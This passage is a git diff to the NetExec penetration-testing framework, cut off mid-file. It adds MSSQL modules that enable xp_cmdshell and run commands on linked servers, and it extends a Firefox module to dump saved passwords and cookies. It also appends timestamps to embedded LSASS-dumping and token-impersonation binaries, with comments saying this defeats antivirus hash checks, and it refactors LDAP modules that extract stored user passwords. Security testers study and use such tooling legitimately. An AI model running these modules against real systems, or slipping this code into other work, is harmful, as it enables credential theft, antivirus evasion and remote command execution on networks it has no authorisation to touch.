Returns + ------- + list: List of login names. + """ + query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';" + res = self.mssql_conn.sql_query(query) + return [login["name"] for login in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_trusts.py b/nxc/modules/enum_trusts.py index fc6ed852..ef43bcb0 100644 --- a/nxc/modules/enum_trusts.py +++ b/nxc/modules/enum_trusts.py @@ -21,7 +21,7 @@ class NXCModule: attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"] context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) trusts = [] context.log.debug(f"Total of records returned {len(resp)}") diff --git a/nxc/modules/exec_on_link.py b/nxc/modules/exec_on_link.py new file mode 100644 index 00000000..a620101a --- /dev/null +++ b/nxc/modules/exec_on_link.py @@ -0,0 +1,42 @@ +class NXCModule: + """ + Execute commands on linked servers + Module by deathflamingo + """ + + name = "exec_on_link" + description = "Execute commands on a SQL Server linked server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.mssql_conn = None + self.context = None + self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + LINKED_SERVER: The name of the linked server to execute the command on. + COMMAND: The command to execute on the linked server. + """ + if "LINKED_SERVER" in module_options: + self.linked_server = module_options["LINKED_SERVER"] + if "COMMAND" in module_options: + self.command = module_options["COMMAND"] + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.") + return + + self.execute_on_link() + + def execute_on_link(self): + """Executes the specified command on the linked server.""" + query = f"EXEC ('{self.command}') AT [{self.linked_server}];" + result = self.mssql_conn.sql_query(query) + self.context.log.display(f"Command output: {result}") diff --git a/nxc/modules/find-computer.py b/nxc/modules/find-computer.py index dc1838bf..fa5dff4c 100644 --- a/nxc/modules/find-computer.py +++ b/nxc/modules/find-computer.py @@ -39,7 +39,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) except LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") diff --git a/nxc/modules/firefox.py b/nxc/modules/firefox.py index 28c96349..8930c52e 100644 --- a/nxc/modules/firefox.py +++ b/nxc/modules/firefox.py @@ -1,5 +1,5 @@ from dploot.lib.target import Target -from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage class NXCModule: @@ -16,10 +16,11 @@ class NXCModule: multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): - """Dump credentials from Firefox""" + """COOKIES Get also Firefox cookies""" + self.gather_cookies = "COOKIES" in module_options def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain + host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain domain = connection.domain username = connection.username kerberos = connection.kerberos @@ -41,19 +42,25 @@ class NXCModule: use_kcache=use_kcache, ) + def firefox_callback(secret): + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}") + context.db.add_dpapi_secrets( + target.address, + "FIREFOX", + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, FirefoxCookie): + context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}") + try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=context.log) + firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback) firefox_triage.upgrade_connection(connection=connection.conn) - firefox_credentials = firefox_triage.run() - for credential in firefox_credentials: - context.log.highlight( - "[{}][FIREFOX] {} {}:{}".format( - credential.winuser, - credential.url + " -" if credential.url != "" else "-", - credential.username, - credential.password, - ) - ) + firefox_triage.run(gather_cookies=self.gather_cookies) except Exception as e: context.log.debug(f"Error while looting firefox: {e}") diff --git a/nxc/modules/get-desc-users.py b/nxc/modules/get-desc-users.py index 31c76816..17ab95ea 100644 --- a/nxc/modules/get-desc-users.py +++ b/nxc/modules/get-desc-users.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "description"], sizeLimit=0, diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index 4579815d..732acd2c 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -121,7 +121,7 @@ class NXCModule: sfilter = "(DC=*)" try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=search_target, searchFilter=sfilter, attributes=["dnsRecord", "dNSTombstoned", "name"], diff --git a/nxc/modules/get-unixUserPassword.py b/nxc/modules/get-unixUserPassword.py index 46e26f9e..1ab24eaa 100644 --- a/nxc/modules/get-unixUserPassword.py +++ b/nxc/modules/get-unixUserPassword.py @@ -1,6 +1,6 @@ -from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap import ldap as ldap_impacket from nxc.logger import nxc_logger +from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: @@ -20,11 +20,11 @@ class NXCModule: """ def on_login(self, context, connection): - searchFilter = "(objectclass=user)" + searchFilter = "(unixUserPassword=*)" try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "unixUserPassword"], sizeLimit=0, @@ -37,27 +37,10 @@ class NXCModule: nxc_logger.debug(e) return False - answers = [] - context.log.debug(f"Total of records returned {len(resp)}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - sAMAccountName = "" - unixUserPassword = [] - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - elif str(attribute["type"]) == "unixUserPassword": - unixUserPassword = [str(i) for i in attribute["vals"]] - if sAMAccountName != "" and len(unixUserPassword) > 0: - answers.append([sAMAccountName, unixUserPassword]) - except Exception as e: - context.log.debug("Exception:", exc_info=True) - context.log.debug(f"Skipping item, cannot process due to error {e!s}") - if len(answers) > 0: + if resp: + resp_parsed = parse_result_attributes(resp) context.log.success("Found following users: ") - for answer in answers: - context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}") + for user in resp_parsed: + context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}") else: context.log.fail("No unixUserPassword Found") diff --git a/nxc/modules/get-userPassword.py b/nxc/modules/get-userPassword.py index 182fce30..638beee1 100644 --- a/nxc/modules/get-userPassword.py +++ b/nxc/modules/get-userPassword.py @@ -1,6 +1,6 @@ -from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap import ldap as ldap_impacket from nxc.logger import nxc_logger +from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: @@ -20,11 +20,11 @@ class NXCModule: """ def on_login(self, context, connection): - searchFilter = "(objectclass=user)" + searchFilter = "(userPassword=*)" try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "userPassword"], sizeLimit=0, @@ -37,27 +37,10 @@ class NXCModule: nxc_logger.debug(e) return False - answers = [] - context.log.debug(f"Total of records returned {len(resp)}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - sAMAccountName = "" - userPassword = [] - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - elif str(attribute["type"]) == "userPassword": - userPassword = [str(i) for i in attribute["vals"]] - if sAMAccountName != "" and len(userPassword) > 0: - answers.append([sAMAccountName, userPassword]) - except Exception as e: - context.log.debug("Exception:", exc_info=True) - context.log.debug(f"Skipping item, cannot process due to error {e!s}") - if len(answers) > 0: + if resp: + resp_parsed = parse_result_attributes(resp) context.log.success("Found following users: ") - for answer in answers: - context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}") + for user in resp_parsed: + context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}") else: - context.log.fail("No userPassword Found") + context.log.fail("No unixUserPassword Found") diff --git a/nxc/modules/group-mem.py b/nxc/modules/group-mem.py index 28b81198..bd79b2cb 100644 --- a/nxc/modules/group-mem.py +++ b/nxc/modules/group-mem.py @@ -19,7 +19,9 @@ class NXCModule: answers = [] def options(self, context, module_options): - """ + r""" + [REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem. + group-mem: Specify group-mem to call the module GROUP: Specify the GROUP option to query for that group's members Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins" @@ -34,6 +36,9 @@ class NXCModule: sys.exit(1) def on_login(self, context, connection): + self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.") + return None + # First look up the SID of the group passed in search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))" attribute = "objectSid" @@ -68,7 +73,7 @@ class NXCModule: def do_search(self, context, connection, searchFilter, attributeName): try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) context.log.debug(f"Total number of records returned {len(resp)}") for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: diff --git a/nxc/modules/groupmembership.py b/nxc/modules/groupmembership.py index c8f9d255..ce9000d0 100644 --- a/nxc/modules/groupmembership.py +++ b/nxc/modules/groupmembership.py @@ -37,7 +37,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["memberOf", "primaryGroupID"], sizeLimit=0, diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 7aa7ab7c..ba598caf 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -5,7 +5,7 @@ import base64 import re import sys - +from datetime import datetime from nxc.helpers.bloodhound import add_user_bh from pypykatz.pypykatz import pypykatz @@ -34,6 +34,8 @@ class NXCModule: self.handlekatz_path = "/tmp/" self.dir_result = self.handlekatz_path self.useembeded = True + # Add some random binary data to defeat AVs which check the file hash + self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "HANDLEKATZ_PATH" in module_options: self.handlekatz_path = module_options["HANDLEKATZ_PATH"] @@ -50,7 +52,7 @@ class NXCModule: def on_admin_login(self, context, connection): handlekatz_loc = self.handlekatz_path + self.handlekatz - + if self.useembeded: try: with open(handlekatz_loc, "wb") as handlekatz: @@ -78,6 +80,7 @@ class NXCModule: if not p or p == "None": context.log.fail("Failed to execute command to get LSASS PID") + self.delete_handlekatz_binary(connection, context) return # we get a CSV string back from `tasklist`, so we grab the PID from it pid = p.split(",")[1][1:-1] @@ -96,12 +99,15 @@ class NXCModule: context.log.fail("Process lsass.exe error un dump, try with verbose") dump = False - if dump: + if not dump: + self.delete_handlekatz_binary(connection, context) + return + else: regex = r"([A-Za-z0-9-]*\.log)" matches = re.search(regex, str(p), re.MULTILINE) if not matches: context.log.display("Error getting the lsass.dmp file name") - sys.exit(1) + return machine_name = matches.group() context.log.display(f"Copy {machine_name} to host") @@ -113,12 +119,7 @@ class NXCModule: except Exception as e: context.log.fail(f"Error while get file: {e}") - try: - connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) - context.log.success(f"Deleted handlekatz file on the {self.share} share") - except Exception as e: - context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") - + self.delete_handlekatz_binary() try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) context.log.success(f"Deleted lsass.dmp file on the {self.share} share") @@ -182,3 +183,10 @@ class NXCModule: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail(f"Error opening dump file: {e}") + + def delete_handlekatz_binary(self, connection, context): + try: + connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) + context.log.success(f"Deleted handlekatz file on the {self.share} share") + except Exception as e: + context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") diff --git a/nxc/modules/impersonate.py b/nxc/modules/impersonate.py index 210a8225..15dbfe5a 100644 --- a/nxc/modules/impersonate.py +++ b/nxc/modules/impersonate.py @@ -6,7 +6,7 @@ from base64 import b64decode from os import path import sys - +from datetime import datetime from nxc.paths import DATA_PATH @@ -29,8 +29,13 @@ class NXCModule: self.impersonate = "Impersonate.exe" self.useembeded = True self.token = self.cmd = "" + with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file: self.impersonate_embedded = b64decode(impersonate_file.read()) + + # Add some random binary data to defeat AVs which check the file hash + self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() + if "EXEC" in module_options: self.cmd = module_options["EXEC"] diff --git a/nxc/modules/ioxidresolver.py b/nxc/modules/ioxidresolver.py index 691925c5..e4d45b40 100644 --- a/nxc/modules/ioxidresolver.py +++ b/nxc/modules/ioxidresolver.py @@ -17,7 +17,8 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """No module options""" + """DIFFERENT show only ip address if different from target ip (Default: False)""" + self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"] def on_login(self, context, connection): try: @@ -37,7 +38,11 @@ class NXCModule: NetworkAddr = binding["aNetworkAddr"] try: ip_address(NetworkAddr[:-1]) - context.log.highlight(f"Address: {NetworkAddr}") + if self.pivot: + if NetworkAddr.rstrip("\x00") != connection.host: + context.log.highlight(f"Address: {NetworkAddr}") + else: + context.log.highlight(f"Address: {NetworkAddr}") except Exception as e: context.log.debug(e) except DCERPCException as e: diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 152f3a0d..59e9550a 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -1,6 +1,8 @@ import socket import ssl import asyncio +import hashlib +import random from msldap.connection import MSLDAPClientConnection from msldap.commons.target import MSLDAPTarget @@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential from asyauth.common.credentials.kerberos import KerberosCredential from asysocks.unicomm.common.target import UniTarget, UniProto -import sys +import contextlib class NXCModule: """ - Checks whether LDAP signing and channelbinding are required. + Checks whether LDAP signing and LDAPS channel binding are required and/or enforced. - Module by LuemmelSec (@theluemmel), updated by @zblurx + Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0 Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan """ - name = "ldap-checker" - description = "Checks whether LDAP signing and binding are required and / or enforced" + description = "Checks whether LDAP signing and channel binding are required and / or enforced" supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -30,173 +31,229 @@ class NXCModule: def options(self, context, module_options): """No options available.""" - def on_login(self, context, connection): - # Conduct a bind to LDAPS and determine if channel - # binding is enforced based on the contents of potential - # errors returned. This can be determined unauthenticated, - # because the error indicating channel binding enforcement - # will be returned regardless of a successful LDAPS bind. - async def run_ldaps_noEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - - # Required step to try to bind without channel binding - ldapsClientConn.cb_data = None - - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - - valid, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True # channel binding IS enforced - elif "data 52e" in str(err): - return False # channel binding not enforced - elif err is None: - # LDAPS bind successful - # because channel binding is not enforced - return False - - # Conduct a bind to LDAPS with channel binding supported - # but intentionally miscalculated. In the case that and - # LDAPS bind has without channel binding supported has occurred, - # you can determine whether the policy is set to "never" or - # if it's set to "when supported" based on the potential - # error received from the bind attempt. - async def run_ldaps_withEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message - ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - _, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True - elif "data 52e" in str(err): - return False - elif err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - elif err is None: - return False - - # Domain Controllers do not have a certificate setup for - # LDAPS on port 636 by default. If this has not been setup, - # the TLS handshake will hang and you will not be able to - # interact with LDAPS. The condition for the certificate - # existing as it should is either an error regarding - # the fact that the certificate is self-signed, or - # no error at all. Any other "successful" edge cases - # not yet accounted for. - def DoesLdapsCompleteHandshake(dcIp): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(5) - ssl_context = ssl.create_default_context() - ssl_context.check_hostname = False - ssl_sock = ssl_context.wrap_socket( - s, - do_handshake_on_connect=False, - suppress_ragged_eofs=False, - ) - try: - ssl_sock.connect((dcIp, 636)) - ssl_sock.do_handshake() - ssl_sock.close() - return True - except Exception as e: - if "CERTIFICATE_VERIFY_FAILED" in str(e): - ssl_sock.close() - return True - if "handshake operation timed out" in str(e): - ssl_sock.close() - return False - else: - context.log.fail("Unexpected error during LDAPS handshake: " + str(e)) - ssl_sock.close() - return False - - # Conduct and LDAP bind and determine if server signing - # requirements are enforced based on potential errors - # during the bind attempt. - async def run_ldap(target, credential): - try: - ldapsClientConn = MSLDAPClientConnection(target, credential) - ldapsClientConn._disable_signing = True - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail(str(err)) - return None - - _, err = await ldapsClientConn.bind() - if err is not None: - errstr = str(err).lower() - if "stronger" in errstr: - return True - # because LDAP server signing requirements ARE enforced - else: - context.log.fail(str(err)) - else: - # LDAPS bind successful - return False - # because LDAP server signing requirements are not enforced - except Exception as e: - context.log.debug(str(e)) + # Conduct a bind to LDAPS and determine if channel + # binding is enforced based on the contents of potential + # errors returned. This can be determined unauthenticated, + # because the error indicating channel binding enforcement + # will be returned regardless of a successful LDAPS bind. + async def run_ldaps_noEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.debug(f"Error connecting to {connection.domain}: {err}") return None - - # Run trough all our code blocks to determine LDAP signing and channel binding settings. - stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT - secret = connection.password if not connection.nthash else connection.nthash - if not connection.kerberos: - credential = NTLMCredential( - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) - else: - kerberos_target = UniTarget( - connection.host, - 88, - UniProto.CLIENT_TCP, - hostname=connection.remoteName, - dc_ip=connection.kdcHost, - domain=connection.domain, - proxies=None, - dns=None, - ) - credential = KerberosCredential( - target=kerberos_target, - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) - - target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapIsProtected = asyncio.run(run_ldap(target, credential)) - if ldapIsProtected is False: - context.log.highlight("LDAP Signing NOT Enforced!") - elif ldapIsProtected is True: - context.log.fail("LDAP Signing IS Enforced") - else: - context.log.fail("Connection fail, exiting now") - sys.exit() - - if DoesLdapsCompleteHandshake(connection.host) is True: - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential)) - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential)) - if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True: - context.log.highlight('LDAPS Channel Binding is set to "When Supported"') - elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False: - context.log.highlight('LDAPS Channel Binding is set to "NEVER"') - elif ldapsChannelBindingAlwaysCheck is True: - context.log.fail('LDAPS Channel Binding is set to "Required"') + client.cb_data = None + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True # -> channel binding IS enforced + elif err and "data 52e" in str(err): + return False # -> channel binding not enforced + elif err is None: + return False # LDAPS bind successful -> channel binding not enforced else: - context.log.fail("\nSomething went wrong...") - sys.exit() + context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}") + return None + except Exception as e: + context.log.debug(f"Exception in run_ldaps_noEPA: {e}") + return None + finally: + with contextlib.suppress(Exception): + await client.disconnect() + + # Conduct a bind to LDAPS with channel binding supported + # but intentionally miscalculated. In the case that an + # LDAPS bind without channel binding supported has occurred, + # you can determine whether the policy is set to "never" or + # if it's set to "when supported" based on the potential + # error received from the bind attempt. + async def run_ldaps_withEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting to {connection.domain}: {err}") + return None + + try: + context.log.debug("Retrieving TLS certificate hash...") + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_context.verify_mode = ssl.CERT_NONE + + with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock: + cert = ssl_sock.getpeercert(binary_form=True) + + if cert: + cert_hash = hashlib.sha256(cert).digest() + context.log.debug(f"Original certificate hash: {cert_hash.hex()}") + pos = random.randint(0, len(cert_hash) - 1) + tampered_bytes = bytearray(cert_hash) + tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256 + context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}") + context.log.debug(f"Modified byte at position {pos}") + client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes) + else: + client.cb_data = b"\x00" * 64 + except Exception as e: + context.log.debug(f"Failed to retrieve TLS certificate hash: {e}") + client.cb_data = b"\x00" * 64 + + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True + elif (err and "data 52e" in str(err)) or err is None: + return False + else: + context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}") + return None + except Exception as e: + context.log.fail(f"Exception in run_ldaps_withEPA: {e}") + return None + + + # Domain Controllers do not have a certificate setup for + # LDAPS on port 636 by default. If this has not been setup, + # the TLS handshake will hang and you will not be able to + # interact with LDAPS. The condition for the certificate + # existing as it should is either an error regarding + # the fact that the certificate is self-signed, or + # no error at all. Any other "successful" edge cases + # not yet accounted for. + def does_ldaps_complete_handshake(self, context, dc_ip): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(5) + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False) + try: + ssl_sock.connect((dc_ip, 636)) + ssl_sock.do_handshake() + return True + except Exception as e: + if "CERTIFICATE_VERIFY_FAILED" in str(e): + return True + elif "handshake operation timed out" in str(e): + return False + else: + context.log.fail(f"Unexpected error during LDAPS handshake: {e}") + return False + finally: + ssl_sock.close() + + # Conduct an LDAP bind and determine if server signing + # requirements are enforced based on potential errors + # during the bind attempt. + async def run_ldap(self, context, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + client._disable_signing = True # deliberately disable LDAP signing on client connection + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting for LDAP bind: {err}") + return None + + _, err = await client.bind() + if err: + errstr = str(err).lower() + if "stronger" in errstr: + return True + # because LDAP server signing requirements ARE enforced + else: + context.log.fail(f"LDAP bind error: {err}") + return None + else: + # LDAPS bind successful + return False + # because LDAP server signing requirements are not enforced + except Exception as e: + context.log.debug(f"Exception during LDAP bind: {e}") + return None + + # Determine authentication context and proceed to + # enumerate LDAP signing and channel binding settings + def on_login(self, context, connection): + stype = asyauthSecret.PASS + secret = connection.password + if connection.nthash: + stype = asyauthSecret.NT + secret = connection.nthash + if connection.aesKey: + stype = asyauthSecret.AES + secret = connection.aesKey + + anon_credential = NTLMCredential( + secret="", + username="", + domain=connection.domain, + stype=asyauthSecret.PASS + ) + + if not connection.username and not secret: + context.log.highlight("No credentials provided, skipping LDAP signing check") + credential = anon_credential else: - context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured") + if not connection.kerberos: + credential = NTLMCredential( + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype + ) + else: + kerberos_target = UniTarget( + connection.host, + 88, + UniProto.CLIENT_TCP, + hostname=connection.remoteName, + dc_ip=connection.kdcHost, + domain=connection.domain, + proxies=None, + dns=None, + ) + credential = KerberosCredential( + target=kerberos_target, + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) + + ldap_signing_status = None + if connection.username or secret: + target = MSLDAPTarget( + connection.host, 389, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential)) + if ldap_signing_status is True: + context.log.highlight("LDAP signing IS enforced") + elif ldap_signing_status is False: + context.log.highlight("LDAP signing NOT enforced") + else: + context.log.fail("Could not determine LDAP signing requirement.") + + if self.does_ldaps_complete_handshake(context, connection.host): + target = MSLDAPTarget( + connection.host, 636, + UniProto.CLIENT_SSL_TCP, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential)) + ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential)) + + if ldaps_noEPA is False and ldaps_withEPA is True: + context.log.highlight("LDAPS channel binding is set to: When Supported") + elif ldaps_noEPA is False and ldaps_withEPA is False: + context.log.highlight("LDAPS channel binding is set to: Never") + elif ldaps_noEPA is True: + context.log.highlight("LDAPS channel binding is set to: Required") + else: + context.log.fail("Could not determine LDAPS channel binding settings") + else: + context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured") \ No newline at end of file diff --git a/nxc/modules/link_enable_xp.py b/nxc/modules/link_enable_xp.py new file mode 100644 index 00000000..028170ac --- /dev/null +++ b/nxc/modules/link_enable_xp.py @@ -0,0 +1,63 @@ +class NXCModule: + """ + Enable or disable xp_cmdshell on a linked SQL server + Module by deathflamingo + """ + + name = "link_enable_xp" + description = "Enable or disable xp_cmdshell on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.action = None + self.linked_server = None + + def options(self, context, module_options): + """ + Defines the options for enabling or disabling xp_cmdshell on the linked server. + ACTION Specifies whether to enable or disable: + - enable (default) + - disable + LINKED_SERVER The name of the linked SQL server to target. + """ + self.action = module_options.get("ACTION", "enable") + self.linked_server = module_options.get("LINKED_SERVER") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server: + self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.") + return + + # Enable or disable xp_cmdshell based on action + if self.action == "enable": + self.enable_xp_cmdshell() + elif self.action == "disable": + self.disable_xp_cmdshell() + else: + self.context.log.fail(f"Unknown action: {self.action}") + + def enable_xp_cmdshell(self): + """Enable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling advanced options on {self.linked_server}...") + out = self.query_and_get_output(query) + query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...") + out = self.query_and_get_output(query) + self.context.log.display(out) + self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") + + def disable_xp_cmdshell(self): + """Disable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...") + self.query_and_get_output(query) + self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) diff --git a/nxc/modules/link_xpcmd.py b/nxc/modules/link_xpcmd.py new file mode 100644 index 00000000..1376a143 --- /dev/null +++ b/nxc/modules/link_xpcmd.py @@ -0,0 +1,44 @@ +class NXCModule: + """ + Run xp_cmdshell commands on a linked SQL server + Module by deathflamingo + """ + + name = "link_xpcmd" + description = "Run xp_cmdshell commands on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + 